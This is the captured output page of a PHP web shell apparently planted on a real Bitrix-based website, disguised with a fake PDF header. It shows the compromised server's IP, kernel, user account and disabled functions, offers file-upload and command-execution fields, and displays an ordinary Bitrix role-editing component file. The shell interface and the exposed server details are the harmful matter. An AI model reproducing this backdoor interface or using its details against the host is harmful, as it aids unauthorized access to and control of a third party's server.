%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 3.139.237.5
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.role_edit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/landing.role_edit//class.php
<?php
if (!defined('B_PROLOG_INCLUDED') || B_PROLOG_INCLUDED !== true)
{
	die();
}

use \Bitrix\Landing\Rights;
use \Bitrix\Landing\Role;

\CBitrixComponent::includeComponentClass('bitrix:landing.base.form');

class LandingRoleEditComponent extends LandingBaseFormComponent
{
	/**
	 * Class of current element.
	 * @var string
	 */
	protected $class = 'Role';

	/**
	 * Local version of table map with available fields for change.
	 * @return array
	 */
	protected function getMap()
	{
		return array(
			'TITLE'
		);
	}

	/**
	 * Action for switch mode.
	 * @return bool
	 */
	protected function actionMode()
	{
		if (\Bitrix\Landing\Rights::isAdmin())
		{
			\Bitrix\Landing\Rights::switchMode();
			return true;
		}
		$this->addError(
			'ACCESS_DENIED'
		);
		return false;
	}

	/**
	 * Base executable method.
	 * @return void
	 */
	public function executeComponent()
	{
		$init = $this->init();

		if ($init && !Rights::isAdmin())
		{
			$init = false;
			$this->addError(
				'ACCESS_DENIED',
				'',
				true
			);
		}

		if ($init)
		{
			$this->checkParam('ROLE_EDIT', 0);
			$this->checkParam('PAGE_URL_ROLES', '');
			$this->checkParam('TYPE', '');

			\Bitrix\Landing\Site\Type::setScope(
				$this->arParams['TYPE']
			);

			$this->id = $this->arParams['ROLE_EDIT'];
			$this->redirectAfterSave = true;
			$this->successSavePage = $this->arParams['PAGE_URL_ROLES'];
			$this->arResult['EXTENDED'] = Rights::isExtendedMode();

			if (!$this->arResult['EXTENDED'])
			{
				// redraw presets title
				$currentRole = $this->getRow();
				if (
					$currentRole['ID']['CURRENT'] &&
					!$currentRole['TITLE']['CURRENT']
				)
				{
					$rolesOriginal = Role::fetchAll();
					foreach ($rolesOriginal as $role)
					{
						if (
							$role['XML_ID']  != '' &&
							$role['XML_ID'] == $currentRole['XML_ID']['CURRENT']
						)
						{
							$currentRole['TITLE']['CURRENT'] = \htmlspecialcharsbx($role['TITLE']);
							$currentRole['TITLE']['~CURRENT'] = $role['TITLE'];
						}
					}
				}
				$this->arResult['ROLE'] = $currentRole;
				$this->arResult['RIGHTS'] = Role::getRights($this->id);
				$this->arResult['TASKS'] = Rights::getAccessTasks();
				$this->arResult['TASK_DENIED_CODE'] = Rights::ACCESS_TYPES['denied'];
				$this->arResult['ADDITIONAL'] = Rights::getAdditionalRightsLabels();
				$this->arResult['SITES'] = $this->getSites([
					'filter' => [
						'=DELETED' => ['Y', 'N']
					]
				]);
				// after save/update
				$callback = function(\Bitrix\Main\Event $event)
				{
					$primary = $event->getParameter('primary');
					$primaryId = $event->getParameter('id');
					static $firstCall = true;

					if (!$firstCall)
					{
						return;
					}

					if ($primary)
					{
						$firstCall = false;
						$rights = [];
						// prepare rights
						foreach ($this->request('RIGHTS') as $sId => $codes)
						{
							$rights[$sId] = [];
							if (is_array($codes))
							{
								foreach ($codes as $code)
								{
									if (trim($code))
									{
										$rights[$sId][] = $code;
									}
								}
							}
							if (empty($rights[$sId]))
							{
								$rights[$sId][] = $this->arResult['TASK_DENIED_CODE'];
							}
						}
						// set rights
						Role::setRights(
							$primary['ID'] ? $primary['ID'] : $primaryId,
							$rights,
							$this->request('ADDITIONAL')
						);
					}
				};
				Role::callback('OnAfterAdd', $callback);
				Role::callback('OnAfterUpdate', $callback);
			}
		}

		parent::executeComponent();
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit